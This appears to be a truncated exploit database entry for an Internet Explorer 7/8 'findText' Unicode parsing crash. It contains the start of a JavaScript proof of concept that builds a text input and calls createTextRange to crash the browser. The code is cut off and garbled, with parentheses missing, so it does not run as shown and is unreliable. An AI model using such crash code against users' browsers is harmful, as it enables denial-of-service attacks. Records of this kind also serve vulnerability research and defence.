Microsoft Internet Explorer 78 - findText Unicode Parsing Crash

Microsoft Internet Explorer 78 - findText Unicode Parsing Crash IE findText crash Hit the button after ie7/8 crash.. function docrash var o1=document.createElement"input"; o1.type="text"; //or password o1.id="powerhacker"; o1.value="AAAA"; document.body.appendChildo1; var r= o1.createTextRange;...